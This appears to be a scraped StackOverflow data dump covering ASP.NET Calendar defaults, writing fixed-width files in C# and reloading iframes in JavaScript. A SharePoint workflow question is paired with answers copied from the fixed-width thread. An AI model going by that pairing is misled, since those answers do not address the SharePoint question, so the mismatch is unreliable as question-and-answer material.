DateTime.Now.AddDays(-1);\n Calendar1.VisibleDate = dt;\n Calendar1.SelectedDate = dt;\n Calendar1.TodaysDate = dt;\n ...\n }\n }\n</code></pre>\n\n<p>In above example, I need to set the default selected date to yesterday. The key point is to set TodayDate. Otherwise, the selected calendar date is always today.</p>\n" }, { "answer_id": 11358480, "author": "user1235809", "author_id": 1235809, "author_profile": "https://Stackoverflow.com/users/1235809", "pm_score": 2, "selected": false, "text": "<p>I have tried above with above code but not working ,Here is solution to set current date selected in asp.net calendar control</p>\n\n<pre><code>dtpStartDate.SelectedDate = Convert.ToDateTime(DateTime.Now.Date);\ndtpStartDate.VisibleDate = Convert.ToDateTime(DateTime.Now.ToString());\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86408", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3043/" ]
Let's say I have an aspx page with this calendar control: ``` <asp:Calendar ID="Calendar1" runat="server" SelectedDate="" ></asp:Calendar> ``` Is there anything I can put in for SelectedDate to make it use the current date by default, without having to use the code-behind?
If you are already doing databinding: ``` <asp:Calendar ID="Calendar1" runat="server" SelectedDate="<%# DateTime.Today %>" /> ``` Will do it. This does require that somewhere you are doing a Page.DataBind() call (or a databind call on a parent control). If you are not doing that and you absolutely do not want any codebehind on the page, then you'll have to create a usercontrol that contains a calendar control and sets its selecteddate.
86,413
<p>What is the best way to create a fixed width file in C#. I have a bunch of fields with lengths to write out. Say 20,80.10,2 etc all left aligned. Is there an easy way to do this? </p>
[ { "answer_id": 86445, "author": "artur02", "author_id": 13937, "author_profile": "https://Stackoverflow.com/users/13937", "pm_score": 0, "selected": false, "text": "<p>Can't you use standard text file? You can read back data line by line.</p>\n" }, { "answer_id": 86452, "author": "Chris Ballance", "author_id": 1551, "author_profile": "https://Stackoverflow.com/users/1551", "pm_score": 0, "selected": false, "text": "<p>use String.Format()</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/aa331875.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/aa331875.aspx</a></p>\n" }, { "answer_id": 86455, "author": "viggity", "author_id": 4572, "author_profile": "https://Stackoverflow.com/users/4572", "pm_score": 0, "selected": false, "text": "<p>Try using myString.PadRight(totalLengthForField, ' ')</p>\n" }, { "answer_id": 86461, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 1, "selected": false, "text": "<p>You can use a StreamWriter and in the Write(string) call use String.Format() to create a string that is the correct width for the given field.</p>\n" }, { "answer_id": 86462, "author": "Andrew Burgess", "author_id": 12096, "author_profile": "https://Stackoverflow.com/users/12096", "pm_score": 3, "selected": false, "text": "<p>Use the .PadRight function (for left aligned data) of the String class. So:</p>\n\n<pre><code>handle.WriteLine(s20.PadRight(20));\nhandle.WriteLine(s80.PadRight(80));\nhandle.WriteLine(s10.PadRight(10));\nhandle.WriteLine(s2.PadRight(2));\n</code></pre>\n" }, { "answer_id": 86465, "author": "Tobi", "author_id": 5422, "author_profile": "https://Stackoverflow.com/users/5422", "pm_score": 0, "selected": false, "text": "<p>You mean you want to pad all numbers on the right with spaces?</p>\n\n<p>If so, <a href=\"http://msdn.microsoft.com/en-us/library/system.string.padright.aspx\" rel=\"nofollow noreferrer\">String.PadRight</a> or <a href=\"http://msdn.microsoft.com/en-us/library/system.string.format.aspx\" rel=\"nofollow noreferrer\">String.Format</a> should get you on track.</p>\n" }, { "answer_id": 86476, "author": "davenpcj", "author_id": 4777, "author_profile": "https://Stackoverflow.com/users/4777", "pm_score": 0, "selected": false, "text": "<p>You could use ASCIIEncoding.UTF8.GetBytes(text) to convert it to a byte array. Then write the byte arrays out to the file as a fixed-size record.</p>\n\n<p>UTF8 varies in the number of bytes required to represent some characters, UTF16 is a little more predictable, 2 bytes per character.</p>\n" }, { "answer_id": 86483, "author": "Wheelie", "author_id": 1131, "author_profile": "https://Stackoverflow.com/users/1131", "pm_score": 7, "selected": true, "text": "<p>You can use string.Format to easily pad a value with spaces\ne.g.</p>\n\n<pre><code>string a = String.Format(\"|{0,5}|{1,5}|{2,5}\", 1, 20, 300);\nstring b = String.Format(\"|{0,-5}|{1,-5}|{2,-5}\", 1, 20, 300);\n\n// 'a' will be equal to \"| 1| 20| 300|\"\n// 'b' will be equal to \"|1 |20 |300 |\"\n</code></pre>\n" }, { "answer_id": 86621, "author": "CrashCodes", "author_id": 16260, "author_profile": "https://Stackoverflow.com/users/16260", "pm_score": 0, "selected": false, "text": "<p>The various padding/formatting posts prior will work sufficiently enough, but you may be interested in implementing ISerializable.</p>\n\n<p>Here's an msdn article about <a href=\"http://msdn.microsoft.com/en-us/library/ms973893.aspx\" rel=\"nofollow noreferrer\">Object Serialization in .NET</a> </p>\n" }, { "answer_id": 86682, "author": "Chris Wenham", "author_id": 5548, "author_profile": "https://Stackoverflow.com/users/5548", "pm_score": 5, "selected": false, "text": "<p>This is a system I made for a configurable Fixed Width file writing module. It's configured with an XML file, the relevant part looking like this:</p>\n\n<pre><code>&lt;WriteFixedWidth Table=\"orders\" StartAt=\"1\" Output=\"Return\"&gt;\n &lt;Position Start=\"1\" Length=\"17\" Name=\"Unique Identifier\"/&gt;\n &lt;Position Start=\"18\" Length=\"3\" Name=\"Error Flag\"/&gt;\n &lt;Position Start=\"21\" Length=\"16\" Name=\"Account Number\" Justification=\"right\"/&gt;\n &lt;Position Start=\"37\" Length=\"8\" Name=\"Member Number\"/&gt;\n &lt;Position Start=\"45\" Length=\"4\" Name=\"Product\"/&gt;\n &lt;Position Start=\"49\" Length=\"3\" Name=\"Paytype\"/&gt;\n &lt;Position Start=\"52\" Length=\"9\" Name=\"Transit Routing Number\"/&gt;\n&lt;/WriteFixedWidth&gt;\n</code></pre>\n\n<p>StartAt tells the program whether your positions are 0-based or 1-based. I made that configurable because I would be copying down offsets from specs and wanted to have the config resemble the spec as much as possible, regardless of what starting index the author chose.</p>\n\n<p>The Name attribute on the Position tags refer to the names of columns in a DataTable.</p>\n\n<p>The following code was written for .Net 3.5, using LINQ-to-XML, so the method assumed it'd be passed an XElement with the above configuration, which you can get after you use <code>XDocument.Load(filename)</code> to load the XML file, then call <code>.Descendants(\"WriteFixedWidth\")</code> on the <code>XDocument</code> object to get the configuration element.</p>\n\n<pre><code> public void WriteFixedWidth(System.Xml.Linq.XElement CommandNode, DataTable Table, Stream outputStream)\n {\n StreamWriter Output = new StreamWriter(outputStream);\n int StartAt = CommandNode.Attribute(\"StartAt\") != null ? int.Parse(CommandNode.Attribute(\"StartAt\").Value) : 0;\n\n var positions = from c in CommandNode.Descendants(Namespaces.Integration + \"Position\")\n orderby int.Parse(c.Attribute(\"Start\").Value) ascending\n select new\n {\n Name = c.Attribute(\"Name\").Value,\n Start = int.Parse(c.Attribute(\"Start\").Value) - StartAt,\n Length = int.Parse(c.Attribute(\"Length\").Value),\n Justification = c.Attribute(\"Justification\") != null ? c.Attribute(\"Justification\").Value.ToLower() : \"left\"\n };\n\n int lineLength = positions.Last().Start + positions.Last().Length;\n foreach (DataRow row in Table.Rows)\n {\n StringBuilder line = new StringBuilder(lineLength);\n foreach (var p in positions)\n line.Insert(p.Start, \n p.Justification == \"left\" ? (row.Field&lt;string&gt;(p.Name) ?? \"\").PadRight(p.Length,' ')\n : (row.Field&lt;string&gt;(p.Name) ?? \"\").PadLeft(p.Length,' ') \n );\n Output.WriteLine(line.ToString());\n }\n Output.Flush();\n }\n</code></pre>\n\n<p>The engine is StringBuilder, which is faster than concatenating immutable strings together, especially if you're processing multi-megabyte files.</p>\n" }, { "answer_id": 11009564, "author": "Darren", "author_id": 329367, "author_profile": "https://Stackoverflow.com/users/329367", "pm_score": 2, "selected": false, "text": "<p>I am using an extension method on string, yes the XML commenting may seem OTT for this, but if you want other devs to re-use...</p>\n\n<pre><code>public static class StringExtensions\n{\n\n /// &lt;summary&gt;\n /// FixedWidth string extension method. Trims spaces, then pads right.\n /// &lt;/summary&gt;\n /// &lt;param name=\"self\"&gt;extension method target&lt;/param&gt;\n /// &lt;param name=\"totalLength\"&gt;The length of the string to return (including 'spaceOnRight')&lt;/param&gt;\n /// &lt;param name=\"spaceOnRight\"&gt;The number of spaces required to the right of the content.&lt;/param&gt;\n /// &lt;returns&gt;a new string&lt;/returns&gt;\n /// &lt;example&gt;\n /// This example calls the extension method 3 times to construct a string with 3 fixed width fields of 20 characters, \n /// 2 of which are reserved for empty spacing on the right side.\n /// &lt;code&gt;\n ///const int colWidth = 20;\n ///const int spaceRight = 2;\n ///string headerLine = string.Format(\n /// \"{0}{1}{2}\",\n /// \"Title\".FixedWidth(colWidth, spaceRight),\n /// \"Quantity\".FixedWidth(colWidth, spaceRight),\n /// \"Total\".FixedWidth(colWidth, spaceRight));\n /// &lt;/code&gt;\n /// &lt;/example&gt;\n public static string FixedWidth(this string self, int totalLength, int spaceOnRight)\n {\n if (totalLength &lt; spaceOnRight) spaceOnRight = 1; // handle silly use.\n\n string s = self.Trim();\n\n if (s.Length &gt; (totalLength - spaceOnRight))\n {\n s = s.Substring(0, totalLength - spaceOnRight);\n }\n\n return s.PadRight(totalLength);\n }\n}\n</code></pre>\n" }, { "answer_id": 29341181, "author": "Jojo", "author_id": 223704, "author_profile": "https://Stackoverflow.com/users/223704", "pm_score": 2, "selected": false, "text": "<p>Darren's answer to this question has inspired me to use extension methods, but instead of extending <code>String</code>, I extended <code>StringBuilder</code>. I wrote two methods:</p>\n\n<pre><code>public static StringBuilder AppendFixed(this StringBuilder sb, int length, string value)\n{\n if (String.IsNullOrWhiteSpace(value))\n return sb.Append(String.Empty.PadLeft(length));\n\n if (value.Length &lt;= length)\n return sb.Append(value.PadLeft(length));\n else\n return sb.Append(value.Substring(0, length));\n}\n\npublic static StringBuilder AppendFixed(this StringBuilder sb, int length, string value, out string rest)\n{\n rest = String.Empty;\n\n if (String.IsNullOrWhiteSpace(value))\n return sb.AppendFixed(length, value);\n\n if (value.Length &gt; length)\n rest = value.Substring(length);\n\n return sb.AppendFixed(length, value);\n}\n</code></pre>\n\n<p>First one silently ignores too long string and simply cuts off the end of it, and the second one returns cut off part through <code>out</code> parameter of the method.</p>\n\n<p>Example:</p>\n\n<pre><code>string rest; \n\nStringBuilder clientRecord = new StringBuilder();\nclientRecord.AppendFixed(40, doc.ClientName, out rest); \nclientRecord.AppendFixed(40, rest);\nclientRecord.AppendFixed(40, doc.ClientAddress, out rest);\nclientRecord.AppendFixed(40, rest);\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86413", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3208/" ]
What is the best way to create a fixed width file in C#. I have a bunch of fields with lengths to write out. Say 20,80.10,2 etc all left aligned. Is there an easy way to do this?
You can use string.Format to easily pad a value with spaces e.g. ``` string a = String.Format("|{0,5}|{1,5}|{2,5}", 1, 20, 300); string b = String.Format("|{0,-5}|{1,-5}|{2,-5}", 1, 20, 300); // 'a' will be equal to "| 1| 20| 300|" // 'b' will be equal to "|1 |20 |300 |" ```
86,417
<p>I have a custom (code-based) workflow, deployed in WSS via features in a .wsp file. The workflow is configured with a custom task content type (ie, the Workflow element contains a TaskListContentTypeId attribute). This content type's declaration contains a FormUrls element pointing to a custom task edit page.</p> <p>When the workflow attempts to create a task, the workflow throws this exception:</p> <p><code>Invalid field name. {17ca3a22-fdfe-46eb-99b5-9646baed3f16</code></p> <p>This is the ID of the FormURN site column. I thought FormURN is only used for InfoPath forms, not regular aspx forms...</p> <p>Does anyone have any idea how to solve this, so I can create tasks in my workflow?</p>
[ { "answer_id": 86445, "author": "artur02", "author_id": 13937, "author_profile": "https://Stackoverflow.com/users/13937", "pm_score": 0, "selected": false, "text": "<p>Can't you use standard text file? You can read back data line by line.</p>\n" }, { "answer_id": 86452, "author": "Chris Ballance", "author_id": 1551, "author_profile": "https://Stackoverflow.com/users/1551", "pm_score": 0, "selected": false, "text": "<p>use String.Format()</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/aa331875.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/aa331875.aspx</a></p>\n" }, { "answer_id": 86455, "author": "viggity", "author_id": 4572, "author_profile": "https://Stackoverflow.com/users/4572", "pm_score": 0, "selected": false, "text": "<p>Try using myString.PadRight(totalLengthForField, ' ')</p>\n" }, { "answer_id": 86461, "author": "Scott Dorman", "author_id": 1559, "author_profile": "https://Stackoverflow.com/users/1559", "pm_score": 1, "selected": false, "text": "<p>You can use a StreamWriter and in the Write(string) call use String.Format() to create a string that is the correct width for the given field.</p>\n" }, { "answer_id": 86462, "author": "Andrew Burgess", "author_id": 12096, "author_profile": "https://Stackoverflow.com/users/12096", "pm_score": 3, "selected": false, "text": "<p>Use the .PadRight function (for left aligned data) of the String class. So:</p>\n\n<pre><code>handle.WriteLine(s20.PadRight(20));\nhandle.WriteLine(s80.PadRight(80));\nhandle.WriteLine(s10.PadRight(10));\nhandle.WriteLine(s2.PadRight(2));\n</code></pre>\n" }, { "answer_id": 86465, "author": "Tobi", "author_id": 5422, "author_profile": "https://Stackoverflow.com/users/5422", "pm_score": 0, "selected": false, "text": "<p>You mean you want to pad all numbers on the right with spaces?</p>\n\n<p>If so, <a href=\"http://msdn.microsoft.com/en-us/library/system.string.padright.aspx\" rel=\"nofollow noreferrer\">String.PadRight</a> or <a href=\"http://msdn.microsoft.com/en-us/library/system.string.format.aspx\" rel=\"nofollow noreferrer\">String.Format</a> should get you on track.</p>\n" }, { "answer_id": 86476, "author": "davenpcj", "author_id": 4777, "author_profile": "https://Stackoverflow.com/users/4777", "pm_score": 0, "selected": false, "text": "<p>You could use ASCIIEncoding.UTF8.GetBytes(text) to convert it to a byte array. Then write the byte arrays out to the file as a fixed-size record.</p>\n\n<p>UTF8 varies in the number of bytes required to represent some characters, UTF16 is a little more predictable, 2 bytes per character.</p>\n" }, { "answer_id": 86483, "author": "Wheelie", "author_id": 1131, "author_profile": "https://Stackoverflow.com/users/1131", "pm_score": 7, "selected": true, "text": "<p>You can use string.Format to easily pad a value with spaces\ne.g.</p>\n\n<pre><code>string a = String.Format(\"|{0,5}|{1,5}|{2,5}\", 1, 20, 300);\nstring b = String.Format(\"|{0,-5}|{1,-5}|{2,-5}\", 1, 20, 300);\n\n// 'a' will be equal to \"| 1| 20| 300|\"\n// 'b' will be equal to \"|1 |20 |300 |\"\n</code></pre>\n" }, { "answer_id": 86621, "author": "CrashCodes", "author_id": 16260, "author_profile": "https://Stackoverflow.com/users/16260", "pm_score": 0, "selected": false, "text": "<p>The various padding/formatting posts prior will work sufficiently enough, but you may be interested in implementing ISerializable.</p>\n\n<p>Here's an msdn article about <a href=\"http://msdn.microsoft.com/en-us/library/ms973893.aspx\" rel=\"nofollow noreferrer\">Object Serialization in .NET</a> </p>\n" }, { "answer_id": 86682, "author": "Chris Wenham", "author_id": 5548, "author_profile": "https://Stackoverflow.com/users/5548", "pm_score": 5, "selected": false, "text": "<p>This is a system I made for a configurable Fixed Width file writing module. It's configured with an XML file, the relevant part looking like this:</p>\n\n<pre><code>&lt;WriteFixedWidth Table=\"orders\" StartAt=\"1\" Output=\"Return\"&gt;\n &lt;Position Start=\"1\" Length=\"17\" Name=\"Unique Identifier\"/&gt;\n &lt;Position Start=\"18\" Length=\"3\" Name=\"Error Flag\"/&gt;\n &lt;Position Start=\"21\" Length=\"16\" Name=\"Account Number\" Justification=\"right\"/&gt;\n &lt;Position Start=\"37\" Length=\"8\" Name=\"Member Number\"/&gt;\n &lt;Position Start=\"45\" Length=\"4\" Name=\"Product\"/&gt;\n &lt;Position Start=\"49\" Length=\"3\" Name=\"Paytype\"/&gt;\n &lt;Position Start=\"52\" Length=\"9\" Name=\"Transit Routing Number\"/&gt;\n&lt;/WriteFixedWidth&gt;\n</code></pre>\n\n<p>StartAt tells the program whether your positions are 0-based or 1-based. I made that configurable because I would be copying down offsets from specs and wanted to have the config resemble the spec as much as possible, regardless of what starting index the author chose.</p>\n\n<p>The Name attribute on the Position tags refer to the names of columns in a DataTable.</p>\n\n<p>The following code was written for .Net 3.5, using LINQ-to-XML, so the method assumed it'd be passed an XElement with the above configuration, which you can get after you use <code>XDocument.Load(filename)</code> to load the XML file, then call <code>.Descendants(\"WriteFixedWidth\")</code> on the <code>XDocument</code> object to get the configuration element.</p>\n\n<pre><code> public void WriteFixedWidth(System.Xml.Linq.XElement CommandNode, DataTable Table, Stream outputStream)\n {\n StreamWriter Output = new StreamWriter(outputStream);\n int StartAt = CommandNode.Attribute(\"StartAt\") != null ? int.Parse(CommandNode.Attribute(\"StartAt\").Value) : 0;\n\n var positions = from c in CommandNode.Descendants(Namespaces.Integration + \"Position\")\n orderby int.Parse(c.Attribute(\"Start\").Value) ascending\n select new\n {\n Name = c.Attribute(\"Name\").Value,\n Start = int.Parse(c.Attribute(\"Start\").Value) - StartAt,\n Length = int.Parse(c.Attribute(\"Length\").Value),\n Justification = c.Attribute(\"Justification\") != null ? c.Attribute(\"Justification\").Value.ToLower() : \"left\"\n };\n\n int lineLength = positions.Last().Start + positions.Last().Length;\n foreach (DataRow row in Table.Rows)\n {\n StringBuilder line = new StringBuilder(lineLength);\n foreach (var p in positions)\n line.Insert(p.Start, \n p.Justification == \"left\" ? (row.Field&lt;string&gt;(p.Name) ?? \"\").PadRight(p.Length,' ')\n : (row.Field&lt;string&gt;(p.Name) ?? \"\").PadLeft(p.Length,' ') \n );\n Output.WriteLine(line.ToString());\n }\n Output.Flush();\n }\n</code></pre>\n\n<p>The engine is StringBuilder, which is faster than concatenating immutable strings together, especially if you're processing multi-megabyte files.</p>\n" }, { "answer_id": 11009564, "author": "Darren", "author_id": 329367, "author_profile": "https://Stackoverflow.com/users/329367", "pm_score": 2, "selected": false, "text": "<p>I am using an extension method on string, yes the XML commenting may seem OTT for this, but if you want other devs to re-use...</p>\n\n<pre><code>public static class StringExtensions\n{\n\n /// &lt;summary&gt;\n /// FixedWidth string extension method. Trims spaces, then pads right.\n /// &lt;/summary&gt;\n /// &lt;param name=\"self\"&gt;extension method target&lt;/param&gt;\n /// &lt;param name=\"totalLength\"&gt;The length of the string to return (including 'spaceOnRight')&lt;/param&gt;\n /// &lt;param name=\"spaceOnRight\"&gt;The number of spaces required to the right of the content.&lt;/param&gt;\n /// &lt;returns&gt;a new string&lt;/returns&gt;\n /// &lt;example&gt;\n /// This example calls the extension method 3 times to construct a string with 3 fixed width fields of 20 characters, \n /// 2 of which are reserved for empty spacing on the right side.\n /// &lt;code&gt;\n ///const int colWidth = 20;\n ///const int spaceRight = 2;\n ///string headerLine = string.Format(\n /// \"{0}{1}{2}\",\n /// \"Title\".FixedWidth(colWidth, spaceRight),\n /// \"Quantity\".FixedWidth(colWidth, spaceRight),\n /// \"Total\".FixedWidth(colWidth, spaceRight));\n /// &lt;/code&gt;\n /// &lt;/example&gt;\n public static string FixedWidth(this string self, int totalLength, int spaceOnRight)\n {\n if (totalLength &lt; spaceOnRight) spaceOnRight = 1; // handle silly use.\n\n string s = self.Trim();\n\n if (s.Length &gt; (totalLength - spaceOnRight))\n {\n s = s.Substring(0, totalLength - spaceOnRight);\n }\n\n return s.PadRight(totalLength);\n }\n}\n</code></pre>\n" }, { "answer_id": 29341181, "author": "Jojo", "author_id": 223704, "author_profile": "https://Stackoverflow.com/users/223704", "pm_score": 2, "selected": false, "text": "<p>Darren's answer to this question has inspired me to use extension methods, but instead of extending <code>String</code>, I extended <code>StringBuilder</code>. I wrote two methods:</p>\n\n<pre><code>public static StringBuilder AppendFixed(this StringBuilder sb, int length, string value)\n{\n if (String.IsNullOrWhiteSpace(value))\n return sb.Append(String.Empty.PadLeft(length));\n\n if (value.Length &lt;= length)\n return sb.Append(value.PadLeft(length));\n else\n return sb.Append(value.Substring(0, length));\n}\n\npublic static StringBuilder AppendFixed(this StringBuilder sb, int length, string value, out string rest)\n{\n rest = String.Empty;\n\n if (String.IsNullOrWhiteSpace(value))\n return sb.AppendFixed(length, value);\n\n if (value.Length &gt; length)\n rest = value.Substring(length);\n\n return sb.AppendFixed(length, value);\n}\n</code></pre>\n\n<p>First one silently ignores too long string and simply cuts off the end of it, and the second one returns cut off part through <code>out</code> parameter of the method.</p>\n\n<p>Example:</p>\n\n<pre><code>string rest; \n\nStringBuilder clientRecord = new StringBuilder();\nclientRecord.AppendFixed(40, doc.ClientName, out rest); \nclientRecord.AppendFixed(40, rest);\nclientRecord.AppendFixed(40, doc.ClientAddress, out rest);\nclientRecord.AppendFixed(40, rest);\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86417", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5782/" ]
I have a custom (code-based) workflow, deployed in WSS via features in a .wsp file. The workflow is configured with a custom task content type (ie, the Workflow element contains a TaskListContentTypeId attribute). This content type's declaration contains a FormUrls element pointing to a custom task edit page. When the workflow attempts to create a task, the workflow throws this exception: `Invalid field name. {17ca3a22-fdfe-46eb-99b5-9646baed3f16` This is the ID of the FormURN site column. I thought FormURN is only used for InfoPath forms, not regular aspx forms... Does anyone have any idea how to solve this, so I can create tasks in my workflow?
You can use string.Format to easily pad a value with spaces e.g. ``` string a = String.Format("|{0,5}|{1,5}|{2,5}", 1, 20, 300); string b = String.Format("|{0,-5}|{1,-5}|{2,-5}", 1, 20, 300); // 'a' will be equal to "| 1| 20| 300|" // 'b' will be equal to "|1 |20 |300 |" ```
86,428
<p>I would like to reload an <code>&lt;iframe&gt;</code> using JavaScript. The best way I found until now was set the iframe’s <code>src</code> attribute to itself, but this isn’t very clean. Any ideas?</p>
[ { "answer_id": 86441, "author": "scunliffe", "author_id": 6144, "author_profile": "https://Stackoverflow.com/users/6144", "pm_score": 4, "selected": false, "text": "<pre><code>window.frames['frameNameOrIndex'].location.reload();\n</code></pre>\n" }, { "answer_id": 86771, "author": "Ed.", "author_id": 12257, "author_profile": "https://Stackoverflow.com/users/12257", "pm_score": 9, "selected": true, "text": "<pre><code>document.getElementById('some_frame_id').contentWindow.location.reload();\n</code></pre>\n\n<p>be careful, in Firefox, <code>window.frames[]</code> cannot be indexed by id, but by name or index</p>\n" }, { "answer_id": 2175738, "author": "Shaulian", "author_id": 247929, "author_profile": "https://Stackoverflow.com/users/247929", "pm_score": 2, "selected": false, "text": "<p>In IE8 using .Net, setting the <code>iframe.src</code> for the first time is ok,\nbut setting the <code>iframe.src</code> for the second time is not raising the <code>page_load</code> of the iframed page.\nTo solve it i used <code>iframe.contentDocument.location.href = \"NewUrl.htm\"</code>.</p>\n\n<p>Discover it when used jQuery thickBox and tried to reopen same page in the thickbox iframe.\nThen it just showed the earlier page that was opened.</p>\n" }, { "answer_id": 3886796, "author": "big lep", "author_id": 16318, "author_profile": "https://Stackoverflow.com/users/16318", "pm_score": 4, "selected": false, "text": "<p>Because of the <a href=\"https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript\" rel=\"noreferrer\">same origin policy</a>, this won't work when modifying an iframe pointing to a different domain. If you can target newer browsers, consider using <a href=\"http://www.whatwg.org/specs/web-apps/current-work/multipage/comms.html#crossDocumentMessages\" rel=\"noreferrer\">HTML5's Cross-document messaging</a>. You view the browsers that support this feature here: <a href=\"http://caniuse.com/#feat=x-doc-messaging\" rel=\"noreferrer\">http://caniuse.com/#feat=x-doc-messaging</a>.</p>\n\n<p>If you can't use HTML5 functionality, then you can follow the tricks outlined here: <a href=\"http://softwareas.com/cross-domain-communication-with-iframes\" rel=\"noreferrer\">http://softwareas.com/cross-domain-communication-with-iframes</a>. That blog entry also does a good job of defining the problem.</p>\n" }, { "answer_id": 4062084, "author": "evko", "author_id": 492602, "author_profile": "https://Stackoverflow.com/users/492602", "pm_score": 8, "selected": false, "text": "<pre><code>document.getElementById('iframeid').src = document.getElementById('iframeid').src\n</code></pre>\n<p>It will reload the <code>iframe</code>, even across domains!\nTested with IE7/8, Firefox and Chrome.</p>\n<p><strong>Note:</strong> As mentioned by @user85461, this approach <strong>doesn't work</strong> if the iframe src URL has a hash in it (e.g. <code>http://example.com/#something</code>).</p>\n" }, { "answer_id": 7809798, "author": "lousygarua", "author_id": 1001477, "author_profile": "https://Stackoverflow.com/users/1001477", "pm_score": 6, "selected": false, "text": "<p>If using jQuery, this seems to work:</p>\n<pre><code>$('#your_iframe').attr('src', $('#your_iframe').attr('src'));\n</code></pre>\n" }, { "answer_id": 8304685, "author": "yajra", "author_id": 1070424, "author_profile": "https://Stackoverflow.com/users/1070424", "pm_score": 2, "selected": false, "text": "<p>Use reload for IE and set src for other browsers. (reload does not work on FF)\ntested on IE 7,8,9 and Firefox</p>\n\n<pre><code>if(navigator.appName == \"Microsoft Internet Explorer\"){\n window.document.getElementById('iframeId').contentWindow.location.reload(true);\n}else {\n window.document.getElementById('iframeId').src = window.document.getElementById('iframeId').src;\n}\n</code></pre>\n" }, { "answer_id": 10708440, "author": "Sid", "author_id": 1411029, "author_profile": "https://Stackoverflow.com/users/1411029", "pm_score": 1, "selected": false, "text": "<pre><code>&lt;script type=\"text/javascript\"&gt;\n top.frames['DetailFrame'].location = top.frames['DetailFrame'].location;\n&lt;/script&gt; \n</code></pre>\n" }, { "answer_id": 11763299, "author": "Liam M", "author_id": 1021915, "author_profile": "https://Stackoverflow.com/users/1021915", "pm_score": 3, "selected": false, "text": "<p>I've just come up against this in chrome and the only thing that worked was removing and replacing the iframe. Example:</p>\n\n<pre><code>$(\".iframe_wrapper\").find(\"iframe\").remove();\nvar iframe = $('&lt;iframe src=\"' + src + '\" frameborder=\"0\"&gt;&lt;/iframe&gt;');\n$.find(\".iframe_wrapper\").append(iframe);\n</code></pre>\n\n<p>Pretty simple, not covered in the other answers.</p>\n" }, { "answer_id": 12435272, "author": "Aaron Wallentine", "author_id": 1593026, "author_profile": "https://Stackoverflow.com/users/1593026", "pm_score": 2, "selected": false, "text": "<p>A refinement on yajra's post ... I like the thought, but hate the idea of browser detection.</p>\n\n<p>I rather take ppk's view of using object detection instead of browser detection, \n(<a href=\"http://www.quirksmode.org/js/support.html\" rel=\"nofollow\">http://www.quirksmode.org/js/support.html</a>),\nbecause then you're actually testing the capabilities of the browser and acting accordingly, rather than what you think the browser is capable of at that time. Also doesn't require so much ugly browser ID string parsing, and doesn't exclude perfectly capable browsers of which you know nothing about.</p>\n\n<p>So, instead of looking at navigator.AppName, why not do something like this, actually testing for the elements you use? (You could use try {} blocks if you want to get even fancier, but this worked for me.)</p>\n\n<pre><code>function reload_message_frame() {\n var frame_id = 'live_message_frame';\n if(window.document.getElementById(frame_id).location ) { \n window.document.getElementById(frame_id).location.reload(true);\n } else if (window.document.getElementById(frame_id).contentWindow.location ) {\n window.document.getElementById(frame_id).contentWindow.location.reload(true);\n } else if (window.document.getElementById(frame_id).src){\n window.document.getElementById(frame_id).src = window.document.getElementById(frame_id).src;\n } else {\n // fail condition, respond as appropriate, or do nothing\n alert(\"Sorry, unable to reload that frame!\");\n }\n}\n</code></pre>\n\n<p>This way, you can go try as many different permutations as you like or is necessary, without causing javascript errors, and do something sensible if all else fails. It's a little more work to test for your objects before using them, but, IMO, makes for better and more failsafe code.</p>\n\n<p>Worked for me in IE8, Firefox (15.0.1), Chrome (21.0.1180.89 m), and Opera (12.0.2) on Windows.</p>\n\n<p>Maybe I could do even better by actually testing for the reload function, but that's enough for me right now. :)</p>\n" }, { "answer_id": 17808455, "author": "Marcin Janeczek", "author_id": 2011042, "author_profile": "https://Stackoverflow.com/users/2011042", "pm_score": 1, "selected": false, "text": "<p>If all of the above doesn't work for you:</p>\n\n<pre><code>window.location.reload();\n</code></pre>\n\n<p>This for some reason refreshed my iframe instead of the whole script. Maybe because it is placed in the frame itself, while all those getElemntById solutions work when you try to refresh a frame from another frame?</p>\n\n<p>Or I don't understand this fully and talk gibberish, anyways this worked for me like a charm :)</p>\n" }, { "answer_id": 21413778, "author": "user2675617", "author_id": 2675617, "author_profile": "https://Stackoverflow.com/users/2675617", "pm_score": 2, "selected": false, "text": "<p>for new url </p>\n\n<pre><code>location.assign(\"http:google.com\");\n</code></pre>\n\n<p>The assign() method loads a new document.</p>\n\n<p>reload</p>\n\n<pre><code>location.reload();\n</code></pre>\n\n<p>The reload() method is used to reload the current document.</p>\n" }, { "answer_id": 21638602, "author": "user1212212", "author_id": 1212212, "author_profile": "https://Stackoverflow.com/users/1212212", "pm_score": 1, "selected": false, "text": "<p>Have you considered appending to the url a meaningless query string parameter?</p>\n\n<pre><code>&lt;iframe src=\"myBaseURL.com/something/\" /&gt;\n\n&lt;script&gt;\nvar i = document.getElementsById(\"iframe\")[0],\n src = i.src,\n number = 1;\n\n//For an update\ni.src = src + \"?ignoreMe=\" + number;\nnumber++;\n&lt;/script&gt;\n</code></pre>\n\n<p>It won't be seen &amp; if you are aware of the parameter being safe then it should be fine.</p>\n" }, { "answer_id": 22849931, "author": "Todd", "author_id": 1817127, "author_profile": "https://Stackoverflow.com/users/1817127", "pm_score": 0, "selected": false, "text": "<p>If you tried all of the other suggestions, and couldn't get any of them to work (like I couldn't), here's something you can try that may be useful.</p>\n\n<p><strong>HTML</strong></p>\n\n<pre><code>&lt;a class=\"refresh-this-frame\" rel=\"#iframe-id-0\"&gt;Refresh&lt;/a&gt;\n&lt;iframe src=\"\" id=\"iframe-id-0\"&gt;&lt;/iframe&gt;\n</code></pre>\n\n<p><strong>JS</strong></p>\n\n<pre><code>$('.refresh-this-frame').click(function() {\n var thisIframe = $(this).attr('rel');\n var currentState = $(thisIframe).attr('src');\n function removeSrc() {\n $(thisIframe).attr('src', '');\n }\n setTimeout (removeSrc, 100);\n function replaceSrc() {\n $(thisIframe).attr('src', currentState);\n }\n setTimeout (replaceSrc, 200);\n});\n</code></pre>\n\n<hr>\n\n<p>I initially set out to try and save some time with RWD and 